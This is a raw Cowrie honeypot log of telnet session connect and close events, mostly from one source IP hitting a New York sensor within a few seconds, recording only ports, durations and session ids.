{"eventid":"cowrie.session.closed","duration":32.397926330566406,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.100436Z","src_ip":"23.111.140.22","session":"145ffe004738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.900938272476196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.212232Z","src_ip":"23.111.140.22","session":"37b0b8899462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139862775802612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.230344Z","src_ip":"23.111.140.22","session":"1c5b4c7f91d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56386208534241,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.476804Z","src_ip":"23.111.140.22","session":"6e14af1bf530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.661200284957886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.656707Z","src_ip":"23.111.140.22","session":"bfefa9579490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46984,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d8007ffc4ae","protocol":"telnet","message":"New connection: 23.111.140.22:46984 (10.17.0.5:23) [session: 8d8007ffc4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.711323Z"}
{"eventid":"cowrie.session.closed","duration":31.264583587646484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.733942Z","src_ip":"23.111.140.22","session":"e5145e6e142f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54726505279541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.788467Z","src_ip":"23.111.140.22","session":"2fe315c15704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78209042549133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.841713Z","src_ip":"23.111.140.22","session":"714b39d26a74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48072385787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.035447Z","src_ip":"23.111.140.22","session":"214abbf521ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96957755088806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.045180Z","src_ip":"23.111.140.22","session":"f76a4afd1ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371482849121094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.117800Z","src_ip":"23.111.140.22","session":"d33d1cf45f8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14720892906189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.217672Z","src_ip":"23.111.140.22","session":"36fb0c0a4bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88595223426819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.278563Z","src_ip":"23.111.140.22","session":"4007ae49b915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49126,"dst_ip":"10.17.0.5","dst_port":23,"session":"a374afb2ec1d","protocol":"telnet","message":"New connection: 23.111.140.22:49126 (10.17.0.5:23) [session: a374afb2ec1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.396671Z"}
{"eventid":"cowrie.session.closed","duration":31.13061499595642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.517155Z","src_ip":"23.111.140.22","session":"d1961cb7a2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46438,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d878c8c35d","protocol":"telnet","message":"New connection: 23.111.140.22:46438 (10.17.0.5:23) [session: 89d878c8c35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.562618Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4136d5ca4c96","protocol":"telnet","message":"New connection: 23.111.140.22:46544 (10.17.0.5:23) [session: 4136d5ca4c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.595709Z"}
{"eventid":"cowrie.session.closed","duration":30.79167413711548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.652233Z","src_ip":"23.111.140.22","session":"aaf64c74f6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48804,"dst_ip":"159.203.135.109","dst_port":23,"session":"e505414873ae","protocol":"telnet","message":"New connection: 174.138.46.234:48804 (159.203.135.109:23) [session: e505414873ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.772095Z"}
{"eventid":"cowrie.session.closed","duration":37.00079369544983,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:34.892652Z","src_ip":"23.111.140.22","session":"65a07c5e3093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094234228134155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.250433Z","src_ip":"23.111.140.22","session":"f8700381a492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146442890167236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.426691Z","src_ip":"23.111.140.22","session":"f33ae94b8282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49195,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de198584496","protocol":"telnet","message":"New connection: 23.111.140.22:49195 (10.17.0.5:23) [session: 9de198584496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.431678Z"}
{"eventid":"cowrie.session.closed","duration":31.034261226654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.513214Z","src_ip":"207.180.228.157","session":"dc41de906882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197686910629272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.666504Z","src_ip":"23.111.140.22","session":"fd3f449f1c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.769567966461182,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.691722Z","src_ip":"174.138.46.234","session":"b381d7440c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.769340753555298,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:35.696036Z","src_ip":"174.138.46.234","session":"ed74e109b101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992578744888306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.073834Z","src_ip":"23.111.140.22","session":"2d97a9f44e48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35304093360901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.101927Z","src_ip":"23.111.140.22","session":"bc00967f028c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55170,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f65f37775db","protocol":"telnet","message":"New connection: 23.111.140.22:55170 (10.17.0.5:23) [session: 7f65f37775db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.322440Z"}
{"eventid":"cowrie.session.closed","duration":34.31461024284363,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.388520Z","src_ip":"23.111.140.22","session":"163f5339a9f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.79496765136719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.468737Z","src_ip":"23.111.140.22","session":"2b775465132e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10269546508789,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.473306Z","src_ip":"23.111.140.22","session":"76fd8186c663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f2e41b653c","protocol":"telnet","message":"New connection: 23.111.140.22:60230 (10.17.0.5:23) [session: c5f2e41b653c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.477554Z"}
{"eventid":"cowrie.session.closed","duration":0.004402637481689453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.481859Z","src_ip":"23.111.140.22","session":"c5f2e41b653c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54914164543152,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:36.719235Z","src_ip":"23.111.140.22","session":"806f71182971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69260382652283,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.121746Z","src_ip":"23.111.140.22","session":"cfb57a6591dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353800535202026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.164567Z","src_ip":"23.111.140.22","session":"c254777fa743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58526,"dst_ip":"10.17.0.5","dst_port":23,"session":"95fa54fcde21","protocol":"telnet","message":"New connection: 23.111.140.22:58526 (10.17.0.5:23) [session: 95fa54fcde21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.287049Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"827f9a041b12","protocol":"telnet","message":"New connection: 23.111.140.22:59022 (10.17.0.5:23) [session: 827f9a041b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.446402Z"}
{"eventid":"cowrie.session.closed","duration":35.89674091339111,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.477622Z","src_ip":"23.111.140.22","session":"1ae32d9b0a4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49667835235596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.629859Z","src_ip":"23.111.140.22","session":"47b31a9c6adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.930671453475952,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.702642Z","src_ip":"174.138.46.234","session":"e505414873ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60286,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3ce121ff3e","protocol":"telnet","message":"New connection: 23.111.140.22:60286 (10.17.0.5:23) [session: 0e3ce121ff3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.872833Z"}
{"eventid":"cowrie.session.closed","duration":33.367818117141724,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:37.991289Z","src_ip":"23.111.140.22","session":"315341ecbfa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33534,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec0eb5048cf","protocol":"telnet","message":"New connection: 23.111.140.22:33534 (10.17.0.5:23) [session: 0ec0eb5048cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:38.392743Z"}
{"eventid":"cowrie.session.closed","duration":31.506087064743042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:38.465598Z","src_ip":"23.111.140.22","session":"f36eba22a054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2987585067749,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:38.716684Z","src_ip":"23.111.140.22","session":"dfd302b98509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.982274770736694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:38.846718Z","src_ip":"23.111.140.22","session":"503bdf64d0c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29745697975159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:38.941687Z","src_ip":"23.111.140.22","session":"76d2badaaee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.456344604492188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.179459Z","src_ip":"23.111.140.22","session":"f7e979ed4f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.617090463638306,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.484240Z","src_ip":"23.111.140.22","session":"60630839a963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010446786880493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.520531Z","src_ip":"23.111.140.22","session":"ebbda5fe9557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88351535797119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.533259Z","src_ip":"23.111.140.22","session":"4860418c1bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1899995803833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.545262Z","src_ip":"23.111.140.22","session":"307273f7283e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92272663116455,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.576749Z","src_ip":"23.111.140.22","session":"dbfe846c53fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.106.119.146","src_port":11772,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f48749e9526","protocol":"telnet","message":"New connection: 85.106.119.146:11772 (159.203.135.109:23) [session: 2f48749e9526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.618120Z"}
{"eventid":"cowrie.session.closed","duration":32.462294816970825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:39.732314Z","src_ip":"23.111.140.22","session":"52f37bef1883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.937135934829712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:40.609827Z","src_ip":"23.111.140.22","session":"696611d3dd6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37528,"dst_ip":"10.17.0.5","dst_port":23,"session":"1caca028b163","protocol":"telnet","message":"New connection: 23.111.140.22:37528 (10.17.0.5:23) [session: 1caca028b163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:40.662991Z"}
{"eventid":"cowrie.session.closed","duration":31.084715604782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:40.675064Z","src_ip":"23.111.140.22","session":"f2abade97fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267387628555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:40.806540Z","src_ip":"23.111.140.22","session":"22145fb9102f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53563046455383,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:40.867498Z","src_ip":"23.111.140.22","session":"6e56588f545e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53812551498413,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.053825Z","src_ip":"23.111.140.22","session":"ab09fbb12911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56062,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d28a724cd7","protocol":"telnet","message":"New connection: 23.111.140.22:56062 (10.17.0.5:23) [session: 29d28a724cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.133107Z"}
{"eventid":"cowrie.session.closed","duration":0.00542140007019043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.138398Z","src_ip":"23.111.140.22","session":"29d28a724cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.97806143760681,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.468672Z","src_ip":"23.111.140.22","session":"18ec8ab500d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.92366623878479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.655451Z","src_ip":"23.111.140.22","session":"f70b76cb6faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.862911224365234,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.840363Z","src_ip":"23.111.140.22","session":"7e351687b376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.469334363937378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:41.937072Z","src_ip":"23.111.140.22","session":"e7859dec9213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090703010559082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:42.081511Z","src_ip":"23.111.140.22","session":"727e0daf9b73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919649600982666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:42.121406Z","src_ip":"23.111.140.22","session":"224081c247ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.275890827178955,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:42.313237Z","src_ip":"23.111.140.22","session":"ed22a076a080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97813296318054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:42.396430Z","src_ip":"23.111.140.22","session":"40e01eb7d9f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49068,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8eecd19344","protocol":"telnet","message":"New connection: 23.111.140.22:49068 (10.17.0.5:23) [session: fd8eecd19344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:42.466540Z"}
{"eventid":"cowrie.session.closed","duration":31.602691411972046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:42.829163Z","src_ip":"23.111.140.22","session":"a7eea08275f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00641131401062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:43.234238Z","src_ip":"23.111.140.22","session":"2acebae51d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49642,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7767951fe65","protocol":"telnet","message":"New connection: 23.111.140.22:49642 (10.17.0.5:23) [session: f7767951fe65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:43.460534Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46684,"dst_ip":"10.17.0.5","dst_port":23,"session":"eff955b4705a","protocol":"telnet","message":"New connection: 23.111.140.22:46684 (10.17.0.5:23) [session: eff955b4705a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:43.520103Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52512,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f54ffacc170","protocol":"telnet","message":"New connection: 23.111.140.22:52512 (10.17.0.5:23) [session: 9f54ffacc170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:44.405334Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55742,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a85d4a2e45","protocol":"telnet","message":"New connection: 23.111.140.22:55742 (10.17.0.5:23) [session: 57a85d4a2e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:44.516005Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f93795b0b89","protocol":"telnet","message":"New connection: 23.111.140.22:53128 (10.17.0.5:23) [session: 1f93795b0b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:44.593580Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55036,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dbedf71dac2","protocol":"telnet","message":"New connection: 23.111.140.22:55036 (10.17.0.5:23) [session: 4dbedf71dac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:45.126134Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55654,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a1bf12bff0","protocol":"telnet","message":"New connection: 23.111.140.22:55654 (10.17.0.5:23) [session: 52a1bf12bff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:45.352671Z"}
{"eventid":"cowrie.session.closed","duration":30.910283088684082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:45.471027Z","src_ip":"23.111.140.22","session":"cbf4d43868d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85167145729065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:45.540679Z","src_ip":"23.111.140.22","session":"bcbed0c4bf86","protocol":"telnet"}
